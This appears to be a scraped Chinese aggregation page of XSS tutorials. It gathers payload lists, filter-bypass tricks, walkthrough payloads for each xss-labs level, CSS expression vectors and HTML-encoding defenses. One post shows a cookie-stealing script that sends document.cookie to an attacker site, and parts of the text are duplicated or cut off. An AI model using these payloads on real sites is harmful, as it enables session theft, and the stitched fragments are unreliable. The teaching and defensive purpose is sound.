xss 订阅
跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。 展开全文
跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。
信息
外文名
Cross Site Script Attack
中文名
跨站脚本攻击
跨站脚本攻击背景
网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS )有所区分,故称XSS)的威胁,而静态站点则完全不受其影响。
收起全文
精华内容
下载资源
问答
  • XSS

    2020-12-23 15:50:15
    XSS(跨站脚本攻击) 漏洞等级(高) 漏洞描述 XSS全称为“跨站脚本攻击”XSS属于客户端攻击,受害者为用户 ,但管理员也属于用户这就表示XSS可以攻击服务端. xss攻击的最终目的是在一个网页中镶嵌客户端恶意脚本...

    XSS(跨站脚本攻击)

    • 漏洞等级(

    • 漏洞描述

      XSS全称为“跨站脚本攻击”XSS属于客户端攻击,受害者为用户
      ,但管理员也属于用户这就表示XSS可以攻击服务端.
      xss攻击的最终目的是在一个网页中镶嵌客户端恶意脚本代码。
      
      跨站脚本攻击XSS(Cross Site Scripting)
      为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆
      故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码
      当用户浏览该页之时嵌入其中Web里面的Script代码会被执行,
      从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击
      

    分类

    • 反射型

      非持久化不会被存储在数据库内,只是简单的把输入的内容反射到浏览器上
      需要欺骗用户进行点击才能触发xss代码
      

    在这里插入图片描述

    • 存储型

      交互的数据会被永久的保存在数据库内危害大存储型
      XSS持久化,代码是存储在服务器中的,如在个人信息或发表文章等地
      插入代码如果没有过滤或过滤不严,那么这些代码将储存到服务器中,
      用户访问该页面的时候触发代码执行。
      这种XSS比较危险,容易造成蠕虫,盗窃cookie
      

    在这里插入图片描述

    • DOM型

      不经过后端DOM-XSS漏洞是基于文档对象模型
      (Document Objeet Model,DOM)
      的一种漏洞DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS
      

    测试方法

    寻找页面中可以payload的文本框,可插入的表单,能否存在页面里进行点击弹窗成功则说明此处存在Xss漏洞

    常用的测试方法

    	<script>alert("xss")</script>
    	<input/onclick=alert("xss")>
    	<a hre:"javascript:alert("xss")"></a>
    	<img src=1 onerror=alert("xss")>   等..
    

    当对方的网站做了过滤的时候我们可以通过不同的绕过方法来进行绕过例如:

    	大小写绕过:<ScRipt>Alert("xss")</ScRipt>
    	双开括号:<<SCRIPT>alert(“XSS”);//<</SCRIPT>
    	Unicode编码:<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
    	等等...也可直接在百度上搜xss payload 攻击代码大全挨个试去吧。
    

    修复建议

    • 对输入的内容进行过滤
    • 对输出进行htmlspecialchars实体编码
    展开全文
  • xss

    2020-08-07 17:20:30
    文章目录XSS基础知识HTML字符实体js执行方式html事件事件绕过姿势html基础js基础浏览器安全策略同源策略http-only安全策略下的通信http-only属性开启情况下同源策略情况下XSS介绍XSS概念XSS危害XSS漏洞原理XSS分类...

    XSS

    文档:XSS通关小游戏以及我的挑战思路分享(XS…
    链接:http://note.youdao.com/noteshare?id=20a8a71c73b81acc92438ce754c58a8d

    基础知识

    HTML字符实体

    显示结果 描述 实体名称 实体编号
    空格 &nbsp;  &#160;
    < 小于号 &lt; &#60;
    > 大于号 &gt; &#62;
    & 和号 &amp; &#38;
    " 引号 &quot; &#34;

    %0A:URL编码、换行符

    js执行方式

    <input ...><script>alert(1);</script> //直接嵌入script

    <script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script

    <input type="text" value="abc" onclick="alert(1);"> //通过事件属性值传入script字符串

    <a href=javascript:alert(1)>test</a> //超链接

    <a href=javasc&#114;ipt:alert(1)>aaa</a> //html实体转义

    html事件

    <button onclick="getElementById('demo').innerHTML=Date()">现在的时间是?</button> <button onclick="this.innerHTML=Date()">现在的时间是?</button> <button onclick="displayDate()">现在的时间是?</button>

    事件

    事件 描述
    onchange HTML 元素改变
    onclick 用户点击 HTML 元素
    onmouseover 用户在一个HTML元素上移动鼠标
    onmouseout 用户从一个HTML元素上移开鼠标
    onkeydown 用户按下键盘按键
    onload 浏览器已完成页面的加载

    绕过姿势

    大小写绕过

    编码绕过

    双写绕过

    生僻函数绕过

    html基础

    <script>
    <textarea>
    <input>
    <form>
    

    js基础

    第一个弹窗

    <script>alert(1);</script>
    

    js控制台输出

    console.log(1)
    console.log`1`
    

    js注释符://,仅能注释当前行

    !!!WARNING:极其危险,不建议使用。尽量使用闭合!

    浏览器安全策略

    同源策略

    要素:域名、端口、协议

    判断下面是否同源(1、5、6)

    1. http://baidu.com/

    2. http://www.baidu.com

    3. http://www.baidu.com:9001

    4. https://baidu.com

    5. http://baidu.com/abc/

    6. http://baidu.com/lab/

    xss植入论坛的代码里,然后xss运行后将cookie发送到另外一台服务器上的xss平台上,这明明是两个网站,为什么xss平台网站能够获取论坛的cookie?

    http-only

    这是一个服务器下发给客户端的一个http响应头的字段内容。

    安全策略下的通信

    http-only属性开启情况下

    浏览器仍然可以自动带上cookie访问访问当前页面网站

    当前页面中的js代码去访问其他网站时,不会自动带上cookie去访问非同源网站,cookie无法传送出去

    同源策略情况下

    网站js能够读取cookie并传送给其他服务器(http-only未开启情况下);

    网站js不能够去读取非同源网站的cookie,不能够操作其他网站的DOM。

    XSS介绍

    XSS概念

    CSS(Cross Site Scripting)—>>>XSS(跨站脚本攻击)

    目的:让受害者http客户端运行攻击者编写的恶意脚本。

    目标:前端脚本解析器,比如浏览器的javascript解析引擎、IE中的VBScript解析引擎。

    攻击的架构:BS架构(browser<–>(http)server)

    XSS危害

    XSS能够产生的危害依赖于浏览器客户端脚本解析引擎的能力。

    • 技术上

    窃取凭证

    篡改DOM(篡改页面布局及内容)

    嵌入恶意的脚本代码

    发起恶意请求(Ajax)

    • 社会影响上

    无账号密码的情况下非法登录网站

    网络钓鱼

    网页蠕虫

    网页篡改

    破解CSRF token限制

    XSS漏洞原理

    前端用户提交的脚本代码被其他用户浏览器执行产生预期外的执行后果。(让自己提交的前端脚本代码被别人运行)

    XSS分类

    三类:反射型、存储型、DOM型

    反射性XSS:一次性XSS,与服务器交互

    存储型XSS:持久性XSS,与服务器交互

    DOM型XSS:一次性XSS,不与服务器交互

    如何发现XSS漏洞点

    找到输入点和输出点、以及两者共存的情况,或者根据输入点猜测后台的输出点位置及触发条件(盲X),比如:各类表单处、文件上传点等等

    XSS利用思路与步骤

    1. 找到输入点和输出点、以及两者共存的情况,或者根据输入点猜测后台的输出点位置及触发条件(盲X)
    2. 构造payload,尽量一次性成功
    3. 观察闭合、过滤和拦截情况
    4. 重新构造payload
    5. 如不成功,重复第3、4步

    XSS防御思路

    • 白名单策略
    1. 使用白名单写死允许的标签和事件规则
    • 黑名单策略(不可靠)
    1. html实体编码转义"、'、/、<、>、script、事件函数名
    2. 采用成熟防XSS的框架(参考OWASP网站)
    3. 服务端添加http-only头下发到客户端(防止cookie窃取)
    4. 采用最新版本浏览器

    闯关

    靶场:xss-labs

    在线靶场:http://xss-quiz.int21h.jp/

    类型:反射型xss

    pass1

    <script>alert(1)</script>

    pass2

    "><script>alert(1)</script>

    pass3

    单引号闭合,使用on事件绕过

    Payload:' onclick=alert(1) '

    pass4

    双引号闭合,使用on事件绕过

    Payload:" onmouseover=alert(1) "

    pass5

    Input标签过滤了on事件及<script>语句,使用<a>标签绕过

    Payload: "><a href=javascript:alert(1)>

    pass6

    Input标签过滤了on事件,<script>语句及<a>标签,使用大小写绕过或者使用svg标签

    Payload:"> <a HREF=javascript:alert(1)>test</a>>

    或者"><svg x="" Onclick=alert(1)>

    pass7

    Input标签同样过滤了script等关键字,且将对应的关键字直接置换为空,由此使用双写绕过

    Payload:"> <scrscriptipt>alert(1)</scrscriptipt>

    pass8

    Input标签过滤javascript关键字,会把javascript变成javasc_ript,通过将“JavaScript”进行HTML字符实体转换绕过

    Payload:javascri&#x0070;t:alert(1)

    pass9

    Input标签过滤javascript关键字,会把javascript变成javasc_ript,通过将“JavaScript”进行HTML字符实体转换绕过

    通过源码审计得知输入payload必须要包含http://(用单行注释符//注释掉后面的http://)

    Payload:javascri&#x0070;t:alert(1)//http://

    pass10

    打开界面发现没有输入点,使用F12审查元素得知有隐藏的表单

    共有三个input标签,但只能使用第三个

    将t_sort的type类型修改为text类型,在输入框内输入payload:test" onmouseover="alert(1),回车,无反应,重新将type类型修改为text类型,回车

    鼠标移到输入框,通关

    前两个标签在修改为text类型后,将payload输入,回车会将payload吃掉

    pass11

    依旧是隐藏了表单,使用前一关的方法发现对"<等进行了过滤

    但又发现多了一个input标签(t_ref)

    测试发现修改type类型后无论写什么值都会被覆盖

    F12审查发现与网页请求头的referer内容相同

    但是referer在本页请求是不存在的,所以在第十关通关时通过抓包修改进入第十一关的referer

    在这里插入图片描述

    在这里插入图片描述

    放行后,进入下一关,修改标签类型为text,回车,鼠标移到输入框,通关

    pass12

    与十一关类似,直接本关抓包修改user-agent

    payload:" onmouseover="alert(1)

    payload(抓包建议):" type="text" onclick="alert(1)

    或者

    ​ 直接F12修改t_ua标签

    放行(F12修改)后,修改标签类型为text,回车,鼠标移到输入框,通关

    pass13

    同第十二关

    抓包修改cookie

    或者

    ​ 直接F12修改t_cook标签

    payload:" onmouseover="alert(1)

    payload(抓包建议):" type="text" onclick="alert(1)

    pass14/pass15

    调用的文件地址失效,无法进行测试

    pass16

    代码审计值含有keyword变量,且后台将Script、空格、/都进行了过滤

    %0A:URL编码、换行符

    payload:?keyword=<a%0Atype="text"%0Aonmouseover=alert(1)>

    pass17

    1. 根据返回的代码判断,arg01和arg02提交的变量存在注入点

    2. 进行注入

      payload:?arg01=a&arg02=b onmouseover=alert(1)

    ps:火狐不支持swf,可以使用谷歌

    pass18

    同十七关

    pass19/pass20

    flash xss,涉及到反编译

    反射型XSS测试步骤总结

    1. 检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的radio值或选择值

    2. 分别确认每个输入变量是否存在xss漏洞。变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤,浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。

    xss的攻防

    1.利用<>标记,构造<script>标签可执行javascript的xss代码。

    ​ xss过滤函数需过滤<><script></script>等字符。

    2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。

    ​ xss 过滤函数需过滤JavaScript等关键字。

    3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。

    4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。

    ​ xss 过滤函数需过滤&#\等字符。

    5.利用事件处理函数,触发事件,执行xss代码。例如<img src='#' onerror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

    6.利用css执行javascript代码

    ​ css代码中利用expression触发xss漏洞。

    <div style="width: expression(alert('xss'));>
    <img src="#" style="xss:expression(alert(/xss/));">
    <style>body {background-image:expression(alert("xss"));}</style>
    <div style="list-style-image:url(javascript:alert('xss'))">
    

    ​ css代码中利用@import触发xss

    <stytle>
    @import 'javascript:alert("XSS")';
    </stytle>
    

    ​ css代码中使用@import和link方式导入外部含有xss代码的样式表文件

    <link rel="stytlesheet" href="http://www.***.com/a.css">
    <stytle type='text/css'>@import url(http://www.*.com/a.css);</style>
    

    ​ xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

    7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、 运用/**/混淆过滤规则来绕过过滤函数

    8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

    alert(“XSS”)’;

    
    ​	css代码中使用@import和link方式导入外部含有xss代码的样式表文件
    
    ```html
    <link rel="stytlesheet" href="http://www.***.com/a.css">
    <stytle type='text/css'>@import url(http://www.*.com/a.css);</style>
    

    ​ xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

    7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、 运用/**/混淆过滤规则来绕过过滤函数

    8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

    展开全文
  • XSS攻击及防御

    万次阅读 多人点赞 2013-11-29 18:35:23
    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的H...

           本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。
           XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

    XSS攻击

           XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

    DOM Based XSS

           DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。

           场景一

           当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似: 

    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

    <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

    <html>

        <head>

           <title>XSS测试</title>

        </head>

        <body>

           页面内容:<%=request.getParameter("content")%>

        </body>

    </html>

          我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?

    Stored XSS

           Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

           场景二

           a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
           Stored XSS漏洞危害性更大,危害面更广。

    XSS防御

           我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。

    完善的过滤体系

           永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

    Html encode

           假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

    less-than character (<)

    &lt;

    greater-than character (>)

    &gt;

    ampersand character (&)

    &amp;

    double-quote character (")

    &quot;

    space character( )

    &nbsp;

    Any ASCII code character whose code is greater-than or equal to 0x80

    &#<number>, where <number> is the ASCII character value.

          比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

    其它

           下面提供两种Html encode的方法。

    • 使用Apache的commons-lang.jar

      StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换

    • 自己实现转换,只转换部分字符

      private static String htmlEncode(char c) {

          switch(c) {

             case '&':

                 return "&amp;";

             case '<':

                 return "&lt;";

             case '>':

                 return "&gt;";

             case '"':

                 return "&quot;";

             case ' ':

                 return "&nbsp;";

             default:

                 return c + "";

          }

      }

       

      /** 对传入的字符串str进行Html encode转换 */

      public static String htmlEncode(String str) {

          if (str ==null || str.trim().equals(""))   return str;

          StringBuilder encodeStrBuilder = new StringBuilder();

          for (int i = 0, len = str.length(); i < len; i++) {

             encodeStrBuilder.append(htmlEncode(str.charAt(i)));

          }

          return encodeStrBuilder.toString();

      }

           (完) 

           本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。

    展开全文
  • Xss

    2018-07-26 20:05:30
    XSS(Cross Site Scripting)攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。xss就是在页面执行你所要执行的js。 Fuzz testing 模糊测试...

    XSS(Cross Site Scripting)攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。xss就是在页面执行你所要执行的js。

    Fuzz testing 模糊测试

     

    point:“xss盲打”,“xss编码绕过”,“fuzzing xss”

     

    参考

    https://blog.csdn.net/u011781521/article/details/53894399

     

    http://www.freebuf.com/articles/web/40520.html

     

    xss攻击大全?

    http://www.freebuf.com/author/Black-Hole

     

     

     

    1:xss攻击可以分成两种类型:

     

    1).非持久型攻击

    2).持久型攻击

     

    非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

     

    持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

     

    反射型:经过后端,不经过数据库

     

    存储型:经过后端,经过数据库

     

    DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom – xss是通过url传入参数去控制触发的。

     

     

    2:可以通过闭合html标签,增加onclick,onerror函数来实现各种操作

     

     

    3:xss的利用

    插入jsdaima

    <script scr="js_url"></script>

    <img src=x οnerrοr=appendChild(createElement('script')).src='js_url' />

    展开全文
  • XSS(跨站脚本攻击)详解

    万次阅读 多人点赞 2018-09-08 10:43:09
    XSS的原理和分类 XSS的攻击载荷 XSS可以插在哪里? XSS漏洞的挖掘 XSS的攻击过程 XSS漏洞的危害 XSS漏洞的简单攻击测试 反射型XSS: 存储型XSS: DOM型XSSXSS的简单过滤和绕过 ​XSS的防御 反射型XSS...
  • XSS(跨站脚本)漏洞详解 XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script...
  • xss攻击之伪造cookie

    万次阅读 2020-01-23 15:42:16
    xss攻击之伪造cookie靶场地址:XSS盲打利用XSS公开平台生成漏洞利用代码UML 图表 靶场地址: http://59.63.200.79:8004/Feedback.asp XSS盲打 见框就插,输入进行测试 (若有长度限制则在input框中修改最大长度),...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 34,134
精华内容 13,653
关键字:

xss